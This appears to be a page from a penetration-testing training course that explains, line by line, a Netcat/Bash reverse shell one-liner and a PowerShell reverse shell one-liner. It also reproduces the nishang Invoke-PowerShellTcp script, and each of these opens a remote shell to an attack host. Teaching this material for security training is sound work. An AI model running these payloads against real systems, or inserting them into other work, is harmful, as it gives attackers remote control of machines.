

Introduction to Payloads

Have you ever sent an email or text to someone?

Most of us probably have. The message we send in an email or text is the packet's payload as it is sent across the vast Internet. In computing, the payload is the intended message. In information security, the payload is the command and/or code that exploits the vulnerability in an OS and/or application. The payload is the command and/or code that performs the malicious action from a defensive perspective. As we saw in the reverse shells section, Windows Defender stopped the execution of our PowerShell payload because it was considered malicious code.

Keep in mind that when we deliver and execute payloads, just like any other program, we give the target computer instructions on what it needs to do. The terms "malware" and "malicious code" romanticize the process and make it more mysterious than it is. Any time we work with payloads, let's challenge ourselves to explore what the code & commands are actually doing. We will start this process by breaking down the one-liners we worked with earlier:

One-Liners Examined

Netcat/Bash Reverse Shell One-liner

Netcat/Bash Reverse Shell One-liner

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f
```

The commands above make up a common one-liner issued on a Linux system to serve a Bash shell on a network socket utilizing a Netcat listener. We used this earlier in the Bind Shells section. It's often copied & pasted but not often understood. Let's break down each portion of the one-liner:

Remove /tmp/f

Remove /tmp/f

```
rm -f /tmp/f;
```

Removes the `/tmp/f` file if it exists, `-f` causes `rm` to ignore nonexistent files. The semi-colon (`;`) is used to execute the command sequentially.

Make A Named Pipe

Make A Named Pipe

```
mkfifo /tmp/f;
```

Makes a [FIFO named pipe file](#) at the location specified. In this case, `/tmp/f` is the FIFO named pipe file, the semi-colon (`;`) is used to execute the command sequentially.

Output Redirection

```
cat /tmp/f |
```

Concatenates the FIFO named pipe file /tmp/f, the pipe (|) connects the standard output of cat /tmp/f to the standard input of the command that comes after the pipe (|).

Set Shell Options

Set Shell Options

```
/bin/bash -i 2>&1 |
```

Specifies the command language interpreter using the `-i` option to ensure the shell is interactive. `2>&1` ensures the standard error data stream (2) & standard output data stream (1) are redirected to the command following the pipe (|).

Open a Connection with Netcat

Open a Connection with Netcat

```
nc 10.10.14.12 7777 > /tmp/f
```

Uses Netcat to send a connection to our attack host **10.10.14.12** listening on port **7777**. The output will be redirected (**>**) to **/tmp/f**, serving the Bash shell to our waiting Netcat listener when the reverse shell one-liner command is executed

PowerShell One-liner Explained

The shells & payloads we choose to use largely depend on which OS we are attacking. Be mindful of this as we continue throughout the module. We witnessed this in the reverse shells section by establishing a reverse shell with a Windows system using PowerShell. Let's breakdown the one-liner we used:

Powershell One-liner

Powershell One-liner

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.Ge
```

We will dissect the rather large PowerShell command you can see above. It may look like a lot, but hopefully, we can demystify it a bit.

Calling PowerShell

Calling PowerShell

```
powershell -nop -c
```

Executes `powershell.exe` with no profile (`nop`) and executes the command/script block (`-c`) contained in the quotes. This particular command is issued inside of command-prompt, which is why PowerShell is at the beginning of the command. It's good to know how to do this if we discover a Remote Code Execution vulnerability that allows us to execute commands directly in `cmd.exe`.

Binding A Socket

Binding A Socket

```
"$client = New-Object System.Net.Sockets.TCPClient(10.10.14.158,443);
```

Sets/evaluates the variable `$client` equal to (=) the `New-Object` cmdlet, which creates an instance of the `System.Net.Sockets.TCPClient` .NET framework object. The .NET framework object will connect with the TCP socket listed in the parentheses `(10.10.14.158,443)`. The semi-colon (`;`) ensures the commands & code are executed sequentially.

Setting The Command Stream

Setting The Command Stream

```
$stream = $client.GetStream();
```

Sets/evaluates the variable `$stream` equal to (=) the `$client` variable and the .NET framework method called `GetStream` that facilitates network communications. The semi-colon (`;`) ensures the commands & code are executed sequentially.

Empty Byte Stream

Empty Byte Stream

```
[byte[]]$bytes = 0..65535|%{0};
```

Creates a byte type array (`[]`) called `$bytes` that returns 65,535 zeros as the values in the array. This is essentially an empty byte stream that will be directed to the TCP listener on an attack box awaiting a connection.

Stream Parameters

Stream Parameters

```
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
```

Starts a `while` loop containing the `$i` variable set equal to (=) the .NET framework `Stream.Read` (`$stream.Read`) method. The parameters: buffer (`$bytes`), offset (`0`), and count (`$bytes.Length`) are defined inside the parentheses of the method.

Set The Byte Encoding

Set The Byte Encoding

```
);$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
```

Sets/evaluates the variable `$data` equal to (=) an `ASCII` encoding .NET framework class that will be used in conjunction with the `GetString` method to encode the byte stream (`$bytes`) into ASCII. In short, what we type won't just be transmitted and received as empty bits but will be encoded as ASCII text. The semi-colon (`;`) ensures the commands & code are executed sequentially.

Invoke-Expression

Invoke-Expression

```
$sendback = (iex $data 2>&1 | Out-String );
```

Sets/evaluates the variable `$sendback` equal to (`=`) the Invoke-Expression (`ieX`) cmdlet against the `$data` variable, then redirects the standard error (`2>`) & standard output (`1`) through a pipe (`|`) to the `Out-String` cmdlet which converts input objects into strings. Because Invoke-Expression is used, everything stored in `$data` will be run on the local computer. The semi-colon (`;`) ensures the commands & code are executed sequentially.

Show Working Directory

Show Working Directory

```
$sendback2 = $sendback + 'PS ' + (pwd).path + '> ';
```

Sets/evaluates the variable `$sendback2` equal to (`=`) the `$sendback` variable plus (`+`) the string `PS ('PS')` plus `+` path to the working directory (`(pwd).path`) plus (`+`) the string `'> '`. This will result in the shell prompt being `PS C:\workingdirectoryofmachine >`. The semi-colon (`;`) ensures the commands & code are executed sequentially. Recall that the `+` operator in programming combines strings when numerical values aren't in use, with the exception of certain languages like C and C++ where a function would be needed.

Sets Sendbyte

Sets Sendbyte

```
$sendbyte= ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();
```

Sets/evaluates the variable `$sendbyte` equal to (`=`) the ASCII encoded byte stream that will use a TCP client to initiate a PowerShell session with a Netcat listener running on the attack box.

Terminate TCP Connection

Terminate TCP Connection

```
$client.Close()
```

This is the `TcpClient.Close` method that will be used when the connection is terminated.

The one-liner we just examined together can also be executed in the form of a PowerShell script (`.ps1`). We can see an example of this by viewing the source code below. This source code is part of the `nishang` project:

Code: `powershell`

```
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard Netcat listening on a port when using the -Reverse switch.
Also, a standard Netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script li
.EXAMPLE F
```

```

PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to the
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(

    [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
    [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
    [String]
    $IPAddress,

    [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
    [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
    [Int]
    $Port,

    [Parameter(ParameterSetName="reverse")]
    [Switch]
    $Reverse,

    [Parameter(ParameterSetName="bind")]
    [Switch]
    $Bind

)

try
{
    #Connect back if the reverse switch is used.
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPCClient($IPAddress,$Port)
    }

    #Bind to the provided port if Bind switch is used.
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port
        $listener.start()
        $client = $listener.AcceptTcpClient()
    }

    $stream = $client.GetStream()
    [byte[]]$bytes = 0..65535|%{0}

    #Send back current username and computername
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username +
    $stream.Write($sendbytes,0,$sendbytes.Length)

```

```
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
    $data = $EncodedText.GetString($bytes,0, $i)
    try
    {
        #Execute the command on the target.
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
    }
    catch
    {
        Write-Warning "Something went wrong with execution of command on the target."
        Write-Error $_
    }
    $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
    $x = ($error[0] | Out-String)
    $error.clear()
    $sendback2 = $sendback2 + $x

    #Return the results
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
if ($listener)
{
    $listener.Stop()
}
}
catch
{
    Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port"
    Write-Error $_
}
}
```

Payloads Take Different Shapes and Forms

Understanding what different types of payloads are doing can help us understand why AV is blocking us from execution and give us some idea of what we might need to change in our code to bypass restrictions. This is something we will explore further in this module. For now, understand that the payloads we use to get a shell on a system will largely be determined by what OS, shell interpreter languages, and even programming languages are present on the target.

Not all payloads are one-liners and deployed manually like those we studied in this section. Some are generated using automated attack frameworks and deployed as a pre-packaged/automated attack to obtain a shell. Like in the very powerful **Metasploit-framework**, which we will work with in the next section.

[< Previous](#)
[Next >](#)
[✔ Mark Complete & Next](#)
[📄 Cheat Sheet](#)

Table of Contents

Introduction

Shells Jack Us In, Payloads Deliver Us Shells



CAT5 Security's Engagement Preparation



Shell Basics

 Anatomy of a Shell



 Bind Shells



 Reverse Shells



Payloads

[Introduction to Payloads](#)

 Automating Payloads & Delivery with Metasploit

Crafting payloads with MSFvenom

Windows Shells

 Infiltrating Windows

NIX Shells

 Infiltrating Unix/Linux

Spawning Interactive Shells

Web Shells

Introduction to Web Shells

 Laudanum, One Webshell to Rule Them All

 Antak Webshell

 PHP Web Shells

Skills Assessment

 The Live Engagement

Additional Considerations

Detection & Prevention

My Workstation

O F F L I N E

 Start Instance

 / 1 spawns left

